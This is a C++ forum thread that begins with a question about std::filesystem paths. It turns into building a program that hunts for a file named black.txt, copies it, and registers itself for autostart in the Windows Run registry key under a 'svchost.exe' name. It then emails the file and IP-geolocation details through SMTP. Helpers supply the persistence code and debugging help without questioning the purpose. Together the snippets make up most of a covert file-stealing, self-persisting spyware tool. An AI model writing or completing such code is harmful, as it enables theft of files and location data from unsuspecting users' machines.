Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
2kaud
using / in a path name may work in some places, but \ is the path separator in windows. And in a non-raw text string, then \\ is used. So
"d://folder//" becomes "d:\\folder" and "d://folder//red//white.txt" becomes ""d:\\folder\\red\\white.txt". If / is used for a path, then you don't use //.
Consider:
Code:
#include <filesystem>
namespace fs = std::filesystem;
const fs::path initpath {"c:\\myprogs\\folder\\"};
const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
const fs::path req_fn {"black.txt"};
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
break;
}
}
Your code crashes for me somehow
Re: How to convert const std::filesystem::directory_entry to tchar?
Works ok on my system with my test folders. Copies the specified file as required. VS2019, release build, Multi-byte character set.
Is there something special about your folder structure/files? Can you zip the folder directory and its subs and files and post as an attachment?
Re: How to convert const std::filesystem::directory_entry to tchar?
Tried moving the source folder deep into another nested folder and using the root of that as the start point - but the code still works OK and copies the file to where it should be.
Re: How to convert const std::filesystem::directory_entry to tchar?
Ok, sorry, it works when I changed a location. Now, If I want to place that unknown path/filename instead of "C:\\svchost.exe" like fn.path().string().c_str how it can be done?
Code:
#include "pch.h"
#include <filesystem>
#include <stdio.h>
#include <windows.h>
using namespace std;
namespace fs = std::filesystem;
const fs::path initpath{ "d:\\folder\\" };
const fs::path destname{ "d:\\folder\\red\\white.txt" };
const fs::path req_fn{ "black.txt" };
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
break;
HKEY hkey;
LONG regOpenResult;
const char PATH[] = "C:\\svchost.exe"; /*This is
the path of
your program*/
regOpenResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_ALL_ACCESS,
&hkey);
RegSetValueEx(hkey,
"Random name", //This is the name that shows up in your registry
0,
REG_SZ,
(BYTE*)PATH,
strlen(PATH));
RegCloseKey(hkey);
return 0;
}
}
Re: How to convert const std::filesystem::directory_entry to tchar?
Like this:
Code:
#include <filesystem>
#include <iostream>
#include <windows.h>
using namespace std;
namespace fs = std::filesystem;
const fs::path initpath {"c:\\develop\\"};
const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
const fs::path req_fn {"black.txt"};
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_ALL_ACCESS,
&hkey);
RegSetValueEx(hkey,
"Random name", //This is the name that shows up in your registry
0,
REG_SZ,
(BYTE*)fn.path().string().c_str(),
fn.path().string().length() + 1);
RegCloseKey(hkey);
break;
}
}
This will set the data for "Random Name" to the "original folder\\black.txt".
NOTE that depending upon whether you are using Windows32/64 and 32/64 bit .exe, you could come across Windows Registry Redirector. See https://docs.microsoft.com/en-us/win...try-redirector
If this happens, then the key "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" could actually be mapped to "SOFTWARE\\wow6432node\\Microsoft\\Windows\\CurrentVersion\\Run"
Re: How to convert const std::filesystem::directory_entry to tchar?
Thanks, but this is still difficult to understand for me. How would you change "qa_data/jpg/starfish.jpg" in this code?
Code:
#include <filesystem>
#include <iostream>
#include <windows.h>
#include <CkMailMan.h>
#include <CkEmail.h>
using namespace std;
namespace fs = std::filesystem;
const fs::path initpath{ "c:\\myprogs\\folder\\" };
const fs::path destname{ "c:\\myprogs\\folder\\red\\white.txt" };
const fs::path req_fn{ "black.txt" };
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
break;
// This example requires the Chilkat API to have been previously unlocked.
// See Global Unlock Sample for sample code.
// The mailman object is used for sending (SMTP) and receiving (POP3) email.
CkMailMan mailman;
// Set the SMTP server.
mailman.put_SmtpHost("smtp.my-tls-mail-server.com");
// Set the SMTP login/password (if required)
mailman.put_SmtpUsername("MY_SMTP_USERNAME");
mailman.put_SmtpPassword("MY_SMTP_PASSWORD");
// Connect to SMTP port 465 using TLS.
mailman.put_SmtpSsl(true);
mailman.put_SmtpPort(465);
// Create a new email object
CkEmail email;
email.put_Subject("This is a test");
email.put_Body("This is a test");
email.put_From("Chilkat Support <support@chilkatsoft.com>");
bool success = email.AddTo("Chilkat Admin", "admin@chilkatsoft.com");
// To add more recipients, call AddTo, AddCC, or AddBcc once per recipient.
// Add some attachments.
// The AddFileAttachment method returns the value of the content-type it chose for the attachment.
const char *contentType = email.addFileAttachment("qa_data/jpg/starfish.jpg");
if (email.get_LastMethodSuccess() != true) {
std::cout << email.lastErrorText() << "\r\n";
}
contentType = email.addFileAttachment("qa_data/pdf/fishing.pdf");
if (email.get_LastMethodSuccess() != true) {
std::cout << email.lastErrorText() << "\r\n";
}
// Call SendEmail to connect to the SMTP server and send.
// The connection (i.e. session) to the SMTP server remains
// open so that subsequent SendEmail calls may use the
// same connection.
success = mailman.SendEmail(email);
if (success != true) {
std::cout << mailman.lastErrorText() << "\r\n";
}
success = mailman.CloseSmtpConnection();
if (success != true) {
std::cout << "Connection to SMTP server not closed cleanly." << "\r\n";
}
std::cout << "Mail with attachments sent!" << "\r\n";
}
}
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
How would you change "qa_data/jpg/starfish.jpg" in this code?
To what? If you want it to be "d:\\folder\\<unknown>\\black.txt" then simply fn.path().string().c_str() as in the example in post #20.
If you want something else, you need to be more specific.
Also note that the break statement should come after all the code to be executed when the required file is found. In the code in post #21, once the file is found, only the copy_file() is executed - everything in that block after the break is ignored.
Re: How to convert const std::filesystem::directory_entry to tchar?
Thank you, you are helping me a lot. Yes it works, sorry. I get a good file to email but it's named "New folderblack.txt" (New folder is unknown folder). But it's a detail of course. Maybe copying a file using windows.h didn't work for the same reason.
Re: How to convert const std::filesystem::directory_entry to tchar?
But if cout << fn.path().string().c_str() << "\n"; it shows well: d:\folder\New folder\black.txt, if I replace \\ with // it shows d://folder//New folder\black.txt and \ doesn't work with CopyFile of window.h
Re: How to convert const std::filesystem::directory_entry to tchar?
Have you tried stepping through the code in a debugger? Figure out the paths, see what you have, make the code changes for what you expect and try again?
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
Arjay
Have you tried stepping through the code in a debugger? Figure out the paths, see what you have, make the code changes for what you expect and try again?
I tried all cases:
Code:
const fs::path req_fn{ "black.txt" };
const fs::path req_fn{ "/black.txt" };
const fs::path req_fn{ "//black.txt" };
const fs::path req_fn{ "\black.txt" };
const fs::path req_fn{ "\\black.txt" };
But everything turns to /
Re: How to convert const std::filesystem::directory_entry to tchar?
Why CopyFile() and not fs::copy_file() ?
With copy_file() you just need to use fn.path().
Quote:
and \ doesn't work with CopyFile of window.h
It does. Consider:
Code:
#include <filesystem>
#include <windows.h>
using namespace std;
namespace fs = std::filesystem;
const fs::path initpath {"c:\\develop\\"};
const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
const fs::path req_fn {"black.txt"};
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
//fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
CopyFile(fn.path().string().c_str(), destname.string().c_str(), TRUE);
break;
}
}
CopyFile() here works just the same as copy_file().
Re: How to convert const std::filesystem::directory_entry to tchar?
I tried previous code (not yours) before so it didn't work. Now email example works well as well, IDK what I did wrong before. Thx.
Re: How to convert const std::filesystem::directory_entry to tchar?
Code:
const char *region = 0;
const char *regionName = 0;
// const char *status = 0;
const char *timezone = 0;
const char *zip = 0;
region = json.stringOf("region");
regionName = json.stringOf("regionName");
//status = json.stringOf("status");
timezone = json.stringOf("timezone");
zip = json.stringOf("zip");
// The mailman object is used for sending (SMTP) and receiving (POP3) email.
CkMailMan mailman;
// Any string argument automatically begins the 30-day trial.
success = mailman.UnlockComponent("");
if (success != true) {
std::cout << mailman.lastErrorText() << "\r\n";
return;
}
// Set the SMTP server.
mailman.put_SmtpHost("smtp.gmail.com");
// Set the SMTP login/password (if required)
mailman.put_SmtpUsername("USERNAME");
mailman.put_SmtpPassword("PASS");
// Connect to SMTP port 465 using TLS.
mailman.put_SmtpSsl(true);
mailman.put_SmtpPort(465);
// Create a new email object
CkEmail email;
//char* badAndWrongCountry = const_cast<char*>(country);
//char* badAndWrongQuery = const_cast<char*>(query);
//_tcscat(badAndWrongCountry, badAndWrongQuery);
std::string buf(region);
buf.append(regionName);
email.put_Subject(buf.c_str());
Do you know how to contacenate 2 const chars in this situation? They're region and regionName and I want to place it to email.put_Subject. I tried many conversions but they give me weird symbols instead of letters if letters are mixed with digits.
Re: How to convert const std::filesystem::directory_entry to tchar?
One of the easiest ways to concatenate 2 c-style null-terminated strings is:
Code:
const char* cc1 = "my";
const char* cc2 = "name";
const string s3 = cc1 + ""s + cc2;
printf("%s\n", s3.c_str());
[Note the s after the "" - this is required]